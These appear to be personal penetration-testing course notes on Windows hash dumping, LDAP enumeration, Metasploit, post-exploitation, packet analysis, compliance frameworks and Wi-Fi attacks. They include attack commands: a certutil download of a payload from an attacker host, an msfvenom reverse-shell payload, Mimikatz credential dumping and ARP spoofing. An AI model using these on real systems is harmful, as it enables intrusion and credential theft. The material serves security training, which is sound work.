  + The password is broken into two seven-character chunks.
  + All characters are then converted into uppercase.
  + Each chunk is then hashed separately with the DES algorithm.
* LM hashing is generally considered to be a weak protocol and can be easily cracked, primarily because the password hash does not include salts, consequently making brute-force and rainbow table attacks effective against LM hashes.

A diagram of a computer

Description automatically generated

NTLM

* NTLM is a collection of authentication protocols that are utilized in Windows to facilitate authentication between computers. The authentication process involves using a valid username and password to authenticate successfully.
* From Windows Vista onwards, Windows disables LM hashing and utilizes NTLM hashing.
* When a user account is created, it is encrypted using the MD4 hashing algorithm, while the original password is disposed of.
* NTLM improves upon LM in the following ways:
  + Does not split the hash into two chunks.
  + Case sensitive.
  + Allows the use of symbols and Unicode characters.

A diagram of a network

Description automatically generated

Searching For Passwords in Windows Config Files

* Windows can automate a variety of repetitive tasks, such as the mass rollout or installation of Windows on many systems.
* This is typically done using the Unattended Windows Setup utility, which is used to automate the mass installation/deployment of Windows on systems.
* This tool utilizes configuration files that contain specific configurations and user account credentials, specifically the Administrator account’s password.
* If the Unattended Windows Setup configuration files are left on the target system after installation, they can reveal user account credentials that can be used by attackers to authenticate with the Windows target legitimately.

Unattended Windows Setup

* The Unattended Windows Setup utility will typically utilize one of the following configuration files that contain user account and system configuration information:
  + C:\Windows\Panther\Unattend.xml
  + C:\Windows\Panther\Autounattend.xml
* As a security precaution, the passwords stored in the Unattended Windows Setup configuration file may be encoded in base64.

On Victim Machine

* “net user” “whoami /priv” (CMD, check privs)
* After attacking machine stuff:
  + “certutil -urlcache -f <http://(KALI)/payload.exe>
  + This should download the file, need to research more into it though.

On Attacking Machine

* “msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=(LHOST) LPORT=(LPORT) -f exe > payload.exe
* Set up a python server to transfer the payload
  + “python -m SimpleHTTPServer 80

(WILL NEED TO EXPLOIT THIS BEFOREHAND, THIS EXAMPLE IS JUST FOR THE DEMO)

* Utilize the multi/handler Metasploit module and set the payload, LPORT, and LHOST.

----

* “cd .\Desktop”
* “cd .\PowerSploit\Privesc” – Access powersploit(?)
* “powershell -ep bypass”
  + Bypass Powershell execution policy
* “. .\PowerUp.ps1”
  + Importing PowerUp script
* “Invoke-PrivescAudit”
* “cat C:\(PATH)\Unattend.xml”
  + Password should be located within this file.
* Could just pipe it into Cyberchef, but here’s a command to crack it in Powershell
  + “$password=’(PASSWORD)’
  + “$password=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($password))”
  + “echo $password”
* “runas.exe /user:administrator cmd”
  + After entering the password, it should give you a NT Sys auth CMD shell.

Dumping Hashes with Mimikatz

* Defacto hash dump method for Windows machines
* Mimikatz is a Windows post-exploitation tool that allows for the extraction of clear-text passwords, hashes and Kerberos tickets from memories
* Mimikatz can be used to extract hashes from the lsass.exe process memory where hashes are cached.
* We can utilize the pre-compiled mimikatz executable, alternatively, if we have access to a meterpreter session on a Windows target, we can utilize the inbuilt meterpreter extension Kiwi.
  + Note: Mimikatz will require elevated privileges to run correctly.

Kiwi Extension

* Migrate to the LSASS process
  + “pgrep lsass” “migrate (PID)”
* Load the Kiwi extension
  + “load kiwi”
  + Kiwi commands will now all be within the Meterpreter help output.
* “creds\_all”
  + Dump some creds, particularly of the user.
* “lsa\_dump\_sam”
  + Dump some more hashes from the LSA SAM.

Mimikatz

* “mkdir Temp”
* “upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe”
  + “shell”
* “.\mimikatz.exe”
* “# privilege::debug”
* “# lsadump::sam”
* “# lsadump::secrets”
* “# sekurlsa::logonpasswords”

LDAP (Lightweight Directory Access Protocol)

LDAP is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet.

Ports – 389, 636, 3268, 3269

* Hierarchical or “tree” directory organization
  + Root directory
  + Countries
  + Organizations
  + Organizational Units
  + Individuals

LDAP is NOT the same thing as Active Directory, as AD is a directory server that stores user information such as usernames, phone numbers, and email addresses. LDAP is a protocol that allows reading and modifying that information.

If LDAP is used without SSL, you can sniff credentials in plaintext in the network.

* You can also perform a MITM attack in the network between the LDAP server and the client. If SSL is used, using MITM with false certificate will only work if the user accepts it.

LDAP Anonymous Binds

* These essentially allow unauthenticated attackers to retrieve information from the domain and can be utilized in different ways.
* This is a legacy configuration, meaning that as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.
* This means that any LDAP server configured prior to 2003 are susceptible to domain dumping from unauthenticated users.

Valid Creds

* If you have valid creds to login to the LDAP server, you can dump all information about the Domain Admin
* “ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]”

Brute Force/Enumeration

* The following scrip will allow you to see public information about the LDAP server, such as the domain name.
* “nmap -n -sV --script "ldap\* and not brute" <IP> #Using anonymous credentials”

Python LDAP Enumeration

* Python can be utilized to enumerate a LDAP server with or without credentials.

>>> import ldap3

>>> server = ldap3.Server('x.X.x.X', get\_info = ldap3.ALL, port =636, use\_ssl = True)

>>> connection = ldap3.Connection(server)

>>> connection.bind()

True

>>> server.info (Will give you interesting data, such as naming context or domain name)

Dump the Whole LDAP with the following:

>> connection.search(search\_base='DC=DOMAIN,DC=DOMAIN', search\_filter='(&(objectClass=person))', search\_scope='SUBTREE', attributes='userPassword')

True

>>> connection.entries

Windapsearch

* Windapsearch is a python script useful to enumerate users, groups, and computers from a Windows domain utilizing LDAP queries
* Github: <https://github.com/ropnop/windapsearch>

# Get computers

python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers

# Get groups

python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups

# Get users

python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da

# Get Domain Admins

python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da

# Get Privileged Users

python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

* Allows you to check for null credential validity:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1\_SUBDOMAIN>,DC=<TLD>"

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1\_SUBDOMAIN>,DC=<TLD>"

* If an error is received that says “bind must be completed”, that means the credentials are incorrect.
* To extract everything from a domain:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1\_SUBDOMAIN>,DC=<TLD>"

-x Simple Authentication

-H LDAP Server

-D My User

-w My password

-b Base site, all data from here will be given

Extracting users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1\_SUBDOMAIN>,DC=<TLD>"

#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Extracting computers:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1\_SUBDOMAIN>,DC=<TLD>"

Extracting “my info”:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1\_SUBDOMAIN>,DC=<TLD>"

Extracting Domain Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1\_SUBDOMAIN>,DC=<TLD>"

Extracting Domain Users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1\_SUBDOMAIN>,DC=<TLD>"

Extracting Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1\_SUBDOMAIN>,DC=<TLD>"

Extracting Administrators:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1\_SUBDOMAIN>,DC=<TLD>"

Extracting Remote Desktop Group:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1\_SUBDOMAIN>,DC=<TLD>"

* NOTE: To check if you have access to any password, you can use grep to check if the password.

PBIS

* PBIS is another Github repo and allows you to gain basic information about an LDAP instance easily.
* <https://github.com/BeyondTrust/pbis-open/>
  + Usually under /opt/pbis

#Read keytab file

./klist -k /etc/krb5.keytab

#Get known domains info

./get-status

./lsa get-status

#Get basic metrics

./get-metrics

./lsa get-metrics

#Get users

./enum-users

./lsa enum-users

#Get groups

./enum-groups

./lsa enum-groups

#Get all kind of objects

./enum-objects

./lsa enum-objects

#Get groups of a user

./list-groups-for-user <username>

./lsa list-groups-for-user <username>

#Get groups of each user

./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group

./enum-members --by-name "domain admins"

./lsa enum-members --by-name "domain admins"

#Get users of each group

./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user

./adtool -a search-user --name CN="\*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do

echo "$line";

./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";

echo "======================"

done

Graphical Interface for LDAP servers: <http://www.jxplorer.org/downloads/users.html>

* Could also utilize Apache Directory: <https://directory.apache.org/studio/download/download-linux.html>

Kerberos Authentication

* Using ldapsearch can allow you to authenticate against Kerberos instead of via NTLM by using the parameter “-Y GSSAPI”

Some Config Files

General

containers.ldif

ldap.cfg

ldap.conf

ldap.xml

ldap-config.xml

ldap-realm.xml

slapd.conf

IBM SecureWay V3 server

V3.sas.oc

Microsoft Active Directory server

msadClassesAttrs.ldif

Netscape Directory Server 4

Nsslapd.sas\_at.conf

nsslapd.sas\_oc.conf

OpenLDAP directory server

slapd.sas\_at.conf

slapd.sas\_oc.conf

Sun ONE Directory Server 5.1

75sas.ldif

Post DB Access

* /var/lib/ldap
* You can access the files where the databases are contained (could be in /var/lib/ldap) and extract hashes using the following command:
* cat /var/lib/ldap/\*.bdb | grep -i -a -E -o "description.\*" | sort | uniq -u
* Feed the password hash into John.

PORTMAPPER

* Port 111 – RPCBIND, PORTMAP (Also 32771 in Oracle Solaris)

Essentially, it maps ONC RPC program numbers to the network port number for that version of that program.

It will also tell the specific protocol that is used for that program. (TCP/UDP)

* Portmap has been used primarily in the past for DOS and DDOS attacks.

RPCBind + NFS

* If the service NFS is running, we could potentially list and download (and even upload) files.

NIS

* IF the service “ypbind” is running, we could exploit it with the following procedure:
  + Guess the NIS “domain name” of the machine (this is required to exploit NIS.)
  + Use “ypwhich” command to ping the NIS server.
  + Use “ypcat” to obtain sensitive material.

A screenshot of a computer

Description automatically generated

METASPLOIT CRASH COURSE (by Jenna)

* script [filename]
  + starts logging console you are in fully.
* tmux logging
* prompt, promtChar, promptTimeFormat
  + helps show sessions and time so it records in logging.
* dbimport - importing an xml file to msf and other file types too.
* Look into Nessus
* db\_export pwdump
  + dumps password hashes
* exploit / run
  + “-j (job) -z (backgrounds payload handler)”
* exploit/multi/script/web\_delivery
  + web server that serves up shell code for different programming languages
* iwr - invoke web request (powershell)
  + tells web server to go get this thing.
* iex - says run this powershell.
  + prefer PSH (binary) because it's easier on msf.
* binary you can't see what happened command by command and in just PSH you can see.
* PSH writes to memory and is more easily hidden, binary writes to disk and is more visible.
* If you specify binary, you can specify any binary.
  + can specify a custom binary.
* in PSH memory, it can only use Metasploit in Linux
* post/multi/recon/local\_exploit\_suggester
  + runs modules' checks against sessions to see if any are positive.
* Will give info and exploits.
* runs on multiple OSs because it is in multi.
* occasionally returns false positives.
* interfaces are how you talk to metasploit.
* msgpackrpc - automatable metasploit

NOP - no operation (x90)

* use a nopsled to skip to part of memory where shell code is.

should never see the NOPs in a row, attack is likely happening.

snort and IDSs have detections for nopsleds.

Payload - load mod into msfconsole.

* can generate it into file types.
* got to use -o to specify output.
* to\_handler - starts a handler
* every layer of every protocol you can think of
  + cool for system admin
  + don't need to download a separate client.

irb - starts ruby shell.

* resource files can read a file and run msfconsole commands line by line.
  + can also run ruby code.

Directory layout

* lib/ - where all the cool kids hang.
* data/ - fields used by exploits and parts of MSF (static)

mssql runs on different ports - doesn't always run on 1434.

* 1434 is discovery port, will tell what ports mssql is actually running on.

Auxiliary Modules

* admin/ - administrative functions
* scanner/
* server/
* sniffer/ spoof/
* lots more.
* may define actions.
  + somewhat like exploit targets
  + can have options.

NMAP

* -sC runs scripts against services
* -oX output as xml
* -oA is preferred because it outputs all types (?)

3 general connection types

* bind - attacker connects to victim.
  + good if the attacker has a firewall.
* reverse - victim connects to attacker.
  + good if the victim has a firewall.
* find - socket used for exploit becomes shell.
* good if both have a firewall or if something doesn't have access to the internet

Payload types

* singles - completely standalone
  + use if victim can't download.
  + inline, standalone, single stage.
* stagers - setup a network connection
* no size restrictions
* stages - download and run by stagers.
  + more functionality for both

exploit modules

* organized roughly by target OS and protocol.
  + windows/smb/
  + freebsd/telnet
  + multi/http
* also includes local priv escalation exploits.
  + linux/local

* aggressive
  + run until complete.
  + usually, client exploiting server.
* Passive
  + run forever.
  + usually, server exploiting client.
* hybrid passive-aggressive
  + usually, remote file includes ...

The life of a (windows) lookup:

NBNS - NetBIOS name service

* sends out ping to entire broadcast range, whoever answers you will trust.
* happens at the same time as DNS.

LLMNR - Link local multicast name resolution

* IPv6 version of NBNS, different things but act similarly.

DNS - domain name service

* AD has its own DNS server.

PIVOTING

* inside meterpreter
* Portfwd - forwards a port/host.
  + allows you to use tools outside of metasploit.
* Route - routes "MSF aware" traffic based on IP/Subnet through the respective session.
  + msf> route add [ip addr] [mask] [session #]
  + the more specific, that's the path it will take.
  + msf> route add 0.0.0.0 0.0.0.0 1 (routes everything)

Socks proxy module

* server that will listen and any traffic that goes in will come out as msf aware.
* msf> use auxillary/server/socks\_proxy

RUBY CRASH COURSE

REPL (read eval print loop)

* similar to python shell
* enter code, see result.

Control z - backgrounds a shell

* ruby -run -ehttpd . -p 8080
* make a web server
* . means share whatever directory you are in

POST EXPLOITATION

* -what is goal of engagement
* -what will this action do to further our goals
* -will this action cause outrage or damage
* -is this action within the rules of engagement
* -what type of actors are we simulating (if any)?
  + -not really useful

4 P's

* -presence
* having presence of mind/shell
* looking around and making sure that what you are looking for isn't something you already have.
* -goals: find out what we have, current user context, what does the user do
  + -detection occurs
  + -persistence
  + -pivoting
  + -privilege escalation
* Power of Extrapolation
  + what is the command tool, or option that will let us the most possible info with the least amount of artifact generation.
* windows:
  + tasklist /v
  + what user is running that process.
* Qprocess
  + Get-process - powershell command.
  + wmic process - wmic needs to be initiated.
  + task manager – GUI
  + pslist
  + process explorer
* ENVIRONMENTAL VARIABLES
  + set
  + systeminfo
  + wmic bios [list full]
  + gpresult /z
* USERDOMAIN - domain name
* USERNAME - every company does it differently
  + if you are rob@company, small comp.
  + rob.fuller@company, large comp.
  + rob.fuller5@... huge comp.
* USERPROFILE - roaming profiles allows desktops, docs, etc. to move from machine to machine.
  + If enabled, it's gonna point to a share and not a local system.
* HOMEPATH
* LOGONSERVER - domain controller that authenticated you.
  + useful because it connects based on speed, what is the fastest to connect to (closest)
  + might not be firewalled off.
* COMPUTERNAME
* APPDATA

USERS

* net user
* net user /domain
* whoami
* whoami /all
  + sid is the 1s and 0s of your user, get applied to all kinds of things.
  + sids have a prefix of s-1-5-21.
* 3 large numbers in the middle are the domain sid.
  + can be used in a lot of tools.
* Privileges
  + sedebug - says this user can debug any process on the system.
* if guest user has this, they can debug LSASS and others THEY CAN INJECT INTO IT

* wmic useraccount [list full]

FILES FOLDERS AND DRIVES

* fsutil
  + fsutil fsinfo drives.
  + must be admin to run.
* Dir
* net share
* wmic logicaldisk
* wmic share [list brief]
* net use

Get-Children C:\

PERMISSIONS

* accesschk.exe -uwcq \* | findstr /v AUTHORITY | findstf /v Administrators
  + find modifiable services owned by admin.

NETWORKING / CONNECTIONS

* ipconfig /displaydns
  + DNS entries cached on computer.
  + don't usually know much about internal network.

ipconfig /all

arp -a

wmic ntdomain list

netstat

nbstat

\*INSTALLED APPLICATIONS

wmic qfe get hotfixid

wmic /output:C:\InstallList.txt product get name,version

Powershell Get-ItemProperty

\*BROWSER INFO

\*SERVICES

sc qc [service name]

\*SCHEDULED TASKS

schtasks

runs on idle

\*CREDS

dir /s \*pass\*

dir /s \*cred\*

dir /s \*vnc\*

\*PRESENCE (metasploit)

getuid

getpid

ps

ls

screenshot

showmount

post/windows/gather/enum\_shares

tells you what shares are on your current machine

post/windows/gather/enum\_termserv

post/windows/gather/enum\_ie

history, cookies, creds

post/windows/gather/enum\_chrome

history, cookies, creds

post/windows/gather/usb\_history

csvde - bloodhound before it exsisted

downloads all of AD very fast into a csv file

don't need special privs

csvde -f test.csv

unattended.xml

local admin creds, domain join creds

instructions on how to build machine

ldapdomaindump

csvde for python

use in lab, run in empty folder

3rd party "good" binaries

boxcutter - screenshot utility, captures multiple screens in high res

phantomJS - screenshots web apps

WMIPlant

UNIX: GTFO bins

list of binaries that can be exploited by an attacker

find / -user root -perms 4

banking, medical, bank are websites that legally can't be monitored by companies

process listings are a treasure trove of information

gpresults -z

shows effective group policy of current user in context

AUDITING FUNDAMENTALS

Cybersecurity Fundamentals

* The protection of computer systems in networks from information discovery, theft, or exfil. As well as the destruction of those very machines
* We are essentially protecting information:
  + PII
  + Healthcare Info
  + Financial Data
  + Intellectual Property
  + Business Secrets & Operations
* We are protecting from:
  + Any malicious actors that may want to compromise the data prior.
* Dumbass Triangle
  + Confidentiality: Your eyes only
  + Integrity: Only authorized changes
  + Availability: Data should be available at any time
* Defense-in-Depth
  + What you’re securing.
  + How important it is.
  + Backend.
  + Layers of Protection
* Business Needs
  + What does the business need to protect?
  + How can they do this and prevent customer impact?
* Risk Management
  + Need to measure how much can be saved.
  + How much property can be saved.
  + Costs?

Compliance

* Sometimes companies aren’t allowed to take the necessary measures during a penetration test.

Regulations

* PCI DSS – Payment Card Industry Data Security Standard
  + Mandated by card brands.
  + Administered by Payment Card Industry Security Standards Council
  + Created to increase controls around cardholder data to reduce credit card fraud.
* HIPAA – Health Insurance Portability and Accountability Act of 1996
  + US regulations for the use and disclosure of Protected Health Information (PHI)
  + The Final Rule on Security Standards was issued on February 20, 2003
  + Standards and Specifications
    - Administrative Safeguards
    - Physical Safeguards
    - Technical Safeguards
* GDPR – general Data Protection Regulation
  + Data protection and privacy law in the European Union (EU) and the European Economic Area (EEA)
  + Controllers and processors of personal data must put in place appropriate technical and organizational measures to implement the data protection principles.
* CPPA – California Consumer Privacy Act
  + Intended to enhance privacy rights and consumer protection for residents of California, United States.
  + Companies that become victims of data theft or other data security breaches can be ordered in civil class action lawsuits to pay statutory damages.
  + Liability may also apply in respect of businesses in overseas countries who ship items into California.
* SOX – Sarbanes-Oxley Act of 2002
  + Us federal law that mandates certain practices in financial record keeping and reporting for corporations.
  + Requires strong internal control processes over the IT infrastructure and applications that house the financial information that flows into its financial reports to enable them to make timely disclosures to the public if a breach were to occur.

Auditing

* All comes down to business needs

Frameworks

* ISO/IEC 27000 – International Organization for Standardization and the International Electrotechnical Commission
  + Deliberately broad in scope
  + Covering more than just privacy, confidentiality, and IT/technical/cyber issues.
  + Applicable to organizations of all shapes and sizes
  + ISO/IEC 27001
    - Information technology – Security Techniques – Information security management systems – Requirements (GUIDELINES)
  + ISO/IEC 27002
    - Code of practice for information security records.
* COBIT – Control Objectives for Information and Related Technologies
  + Created by ISACA for IT management and IT governance.
  + Business focused and defined a set of generic processes for the management of IT.
* NIST – National Institute of Standards and Technology
  + Catalog of security and privacy controls for all U.S. federal information systems except those related to national security
  + Agencies are expected to be compliant with NIST security standards and guidelines.
  + NIST Special Publication 800-53B provides a set of baseline security controls and privacy controls for information systems and organizations.
* CIS – Center for Internet Security
  + Set of 18 prioritized safeguards to mitigate the most prevalent cyber-attacks.
  + A defense-in-depth model to help prevent and detect malware.
  + Offers a free, hosted software product called the CIS Controls Self Assessment Tool (CIS-CSAT)
* CMMC – Cybersecurity Maturity Model Certification
  + A training, certification, and third-party assessment program of cybersecurity in the US government Defense Industrial Base
  + Requires a third-party assessor to verify the cybersecurity maturation level.
  + 5 levels.
    - Performed, Documented, Managed, Reviewed, Optimizing
* ASD Essential 8 - Australian Cyber Security Centre Essential Eight Maturity Model
  + Helped organizations protect themselves against various cyber threats.
  + Designed to protect MSFT Windows-based internet-connected networks.
  + 4 maturity levels.
  + Application Control, Patch Applications, Configure MSFT Office Macros, User App Hardening, Restrict Admin Privs, Patch OS, MFA, Daily Backups
* Pen-Tests will ALWAYS lead back to the customer.
* You need to add value for them, and they need something they can implement to their regular work
* Tier recommended issues, utilize languages they are familiar with, this will ALL help add value to your report.
* Compliance or Due Diligence?
  + Following regulations or just trying to better the environment?

What Helps for Both:

* Interviews
  + Understand the whole scope.
* Assessments
  + Nessus
  + SolarWinds
* Pen-Tester – Take Good Notes
* Mind Map
  + Map things out, put useful information together.
* Reports
  + You’re getting paid on the report, not the Pen-test.
  + What comes from the report is the actual Pen-test.

SCAP Scan & Stigviewer

* Security Content Automation Protocol (SCAP)
  + SCAP Compliance Checker
  + STIG Viewer
* Security Technical Implementation Guides (STIGs)

NMAP

* “-A” flag is very helpful to run an aggressive scan to further your auditing capabilities.
* Enumerate what you can, understand the assets that are linked to different machines and potentially recommend patching.
  + What version has a vulnerability? Is the current version of this application vulnerable to a certain exploit?

Nessus

* Nessus Essentials has a web login page.
* Pretty easy, enter in the host info and run yo shit.
  + These scans are generally long; however, you can run a lot of scans that can mimic what NMAP does.
  + It has a couple assets that may help, use service enumeration techniques it provides, and essentially try to find any holes possible.
  + Severity separation, these come with the Nessus scan output.
* Advanced Scans, go a little in-depth with your scans.
* You can also investigate the vulnerabilities a lot more and look at the different references it provides to help in the report.
* Could potentially generate your own report within Nessus.

NETWORK-BASED ATTACKS

* ARP
* DHCP
* SMB
* FTP
* Telnet
* SSH
* A lot of these services can be exploited in network-based attacks.
* When packets are sent out, they are encased in either three different protocols or are built in using electromagnetic signals.
* Man-in-the-middle: Intercept packets that are routed to different areas.

Wireshark

* Capture some packets.
* Make sure you’re listening on the correct network interface.
* Saved packet capture sessions will be saved as a .pcap file.
* I really don’t need many notes on this, this easy asf.
* View > Name Resolution
  + Can resolve MAC and Network addresses.
* View > Coloring Rules
  + View different packets and what they do, color-coded.
* Capture > Options
  + Choose different interfaces.
  + Apply capture filters to pinpoint specific types of packets.
  + Input/Output/etc. & collect different schtuff.
* Statistics > Protocol Hierarchy
  + Divvies up all the packet capture logs on the current capture and separate them into the different types of packets they are.
  + Provides statistics to these packets.
* Statistics > Conversations
  + Which machine talked to which machine?
  + We can separate this by MAC/IP address, enabling name resolution is helpful in this step.
* Statistics > Endpoints
  + View domains and all that, pretty like Conversations
* Flow Graph
  + Visible graphs for packet captures.
* Date Format
  + Not necessarily useful since computers generally act fast.
* Add source/destination port field to understand how devices are communicating with each other and which ports they are utilizing.
* Follow different streams which can help understand where the network conversations are leading to.
  + Search filter should auto-adjust.

Tshark

* Command-line version of Wireshark.
* “tshark -v” – Current version of tshark, could also use “-h” for help menu.
* “tshark -r (PCAP FILE)” – Display contents of a packet capture.
  + “| wc -l” – word count for file.
* “tshark -r (PCAP FILE) -z io,phs -q”
  + Protocol hierarchy
* “tshark -r (PCAP FILE) -Y ‘http’
* “tshark -r (PCAP FILE) -Y ‘ip.src==(SOURCE IP) && ip.dst==(DEST IP)
* “tshark -r (PCAP FILE) -Y ‘http.request.method==GET’
  + ‘-Tfields -e frame.time -e ip.src -e http.request.full\_uri’
* “tshark -r (PCAP) -Y ‘http contains password’
* “tshark -r (PCAP FILE) -Y ‘http.request.method==GET && http.host==www.nytimes.com’
  + ‘-Tfields -e ip.dst
* “tshark -r (PCAP FILE) -Y ‘ip contains amazon.in && ip.src==(SOURCE IP)’
  + ‘-Tfields -e ip.src -e http.cookie’
* “tshark -r (PCAP FILE) -Y ‘ip.src==(SOURCE IP)&& http’ -Tfields -e http.user\_agent”
* These are just some examples.

ARP Poisoning

* Man-in-the-middle
* “echo 1> /proc/sys/net/ipv4/ip\_forward”
* “arpspoof -i eth1 -t 10.100.13.37 -r 10.100.13.36”
  + Look out for potential packets that are using services that are open for the machine, this is something we could potentially poison.
* Telnet is a good service to use ARP poisoning against, as the data is not encrypted during transmission meaning you could potentially view it within the HTTP streams in Wireshark.

Wi-Fi Traffic Analysis

The following are some search filters to answer some Wi-Fi questions:

* What is the name of the Open (No Security) SSID present in the packet dump?
  + (wlan.fc.type\_subtype==0x0008) && !(wlan.wfa.ie.wpa.version == 1) && !(wlan.tag.number==48)
* The SSID 'Home\_Network' is operating on which channel?
  + “wlan contains Home\_Network”
* Which security mechanism is configured for SSID 'LazyArtists'? Your options are: OPEN, WPA-PSK, WPA2-PSK.
  + “wlan contains LazyArtists”
  + Try to find the RSN in one of the tags.
* Is WiFi Protected Setup (WPS) enabled on SSID 'Amazon Wood'? State Yes or No.
  + (wlan.ssid contains Amazon) && (wlan.fc.type\_subtype == 0x0008)
  + Look for WPS tag.
* What is the total count of packets which were either transmitted or received by the device with MAC e8:de:27:16:87:18?
  + (wlan.ta == e8:de:27:16:87:18) || (wlan.ra == e8:de:27:16:87:18)
  + Look for packet count in the bottom right corner of the WS window.
* What is the MAC address of the station which exchanged data packets with SSID 'SecurityTube\_Open'?
  + “wlan contains SecurityTube”
  + Look under the beacon frame, specifically for “Transmitter address”.
  + ((wlan.bssid == e8:de:27:16:87:18) && (wlan.fc.type\_subtype == 0x0020))
  + Look for the “Receiver address” this time.
* From the last question, we know that a station was connected to SSID 'SecurityTube\_Open'. Provide TSF timestamp of the association response sent from the access point to this station.
  + “(((wlan.bssid == e8:de:27:16:87:18)) && (wlan.addr == 5c:51:88:31:a0:3b)) && (wlan.fc.type\_subtype == 0x0001)”
  + Under 802.11 radio information.

Filtering Wi-Fi

These follow the questions prior, but for Tshark.

* “tshark -r (PCAP FILE) -Y ‘wlan’
* “tshark -r WiFi\_traffic.pcap -Y 'wlan.fc.type\_subtype==0x000c'”
  + 0x000c represents deauthentication packets.
* “tshark -r WiFi\_traffic.pcap -Y 'eapol'”
  + “Standard CahFe Latte Attack WHAT THE FUCK DOES THAT EVEN MEA-
* “tshark -r WiFi\_traffic.pcap -Y 'wlan.fc.type\_subtype==8' -Tfields -e wlan.ssid -e wlan.bssid”
* “tshark -r WiFi\_traffic.pcap -Y 'wlan.ssid==LazyArtists' -Tfields -e wlan.bssid”
* “tshark -r WiFi\_traffic.pcap -Y 'wlan.ssid==Home\_Network' -Tfields -e wlan.radio.channel”
* “tshark -r Wifi\_traffic.pcap -Y ‘wlan.fc.type\_subtype==0x000c’ -Tfields -e wlan.ra”
* “tshark -r WiFi\_traffic.pcap -Y 'wlan.ta==5c:51:88:31:a0:3b && http’ -Tfields -e http.user\_agent”

WEB APP TESTING AND WEB/HTTP PROTOCOLS

* Websites are pretty much just files on a server that are set to be public (and sometimes set to be private).
* Different scripting languages are utilized to build up different components of the website, whether that be functional or physical.
  + HTML
  + CSS
  + JavaScript
* Webserver
  + Apache
  + IIS
  + Nginx
  + Tomcat
* Off-Premise Hosting
  + AWS
  + WordPress
  + Firebase
  + Microsoft Azure
  + Digital Ocean
  + Cloudflare
* HTTP Protocol
  + Headers – Hold info about what you are requesting.
  + Requests – User-agents: What browser are you using?
    - Client
    - Interacts with Server
    - GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH
  + Response – Status codes, content type
    - Server
    - Sends Resources
    - Status Codes, i.e., 200, 302, 404, etc.
  + Browsers – Interpret and Process
  + Sessions - COOKIES
  + HTTPS
* Client (REQUEST) -> Server (RESPONSE)
* Inspect Element
  + View cookies or session IDs.
* Wireshark can view form submissions on certain websites, like submitting a username/password to a login form.
  + Follow the HTTP stream for this, or filter the frames by what they contain (USER/PASS)
* CURL – Redirect website page output to the CLI.
* Can view website certificates from the website on the top toolbar for Firefox. (lock symbol)
* Dirb – brute force directory enumeration.
* Robots.txt
* I already took a lot of these notes mfer

WIFI HACKING

Overview

This class combines course materials with 12 hands-on labs for practice. The following topics are covered in the course:

IEEE 802.11 and the WiFi Alliance

* Channels and frequencies
* Regulatory Domain
* Network structure, terminology, and modes
* Encryption on Wi-Fi networks
* OS, drivers, and Wi-Fi hardware
* State machine and introduction to 802.11 frames
* Penetration testing distributions
* Wi-Fi adapter capabilities
* Packet capture and injection
* WPA and its handshakes
* WPA-PSK and exploitation
* Rogue Access Points
* Wordlist generation
* WPA Enterprise and exploitation

Key Terms

* SSID: The network "name" that you see when you try and connect.
* ESSID: An SSID that \*may\* apply to multiple access points, e.g., a company office, normally forming a bigger network. For Aircrack they normally refer to the network you're attacking.
* BSSID: An access point MAC (hardware) address
* WPA2-PSK: Wi-Fi networks that you connect to by providing a password that's the same for everyone.
* WPA2-EAP: Wi-Fi networks that you authenticate by providing a username and password, which is sent to a RADIUS server.
* RADIUS: A server for authenticating clients, not just for Wi-Fi.

The core of WPA (2) authentication is the 4-way handshake.

* + Most home Wi-Fi networks use WPA (2) personal.

A diagram of a computer system

Description automatically generated

* WPA2’s are difficult to crack, as you’re essentially just spraying passwords into it.
* Time consuming, however you might get lucky. (Realistically though, passwords would not be as easy to crack).

Aircrack-ng Suite – Capture packets to attack

* aircrack-ng
* airdecap-ng
* airmon-ng
  + Use these to attack WPA networks.
* aireplay-ng
* airodump-ng
* airtun-ng
* packetforge-ng
* airbase-ng
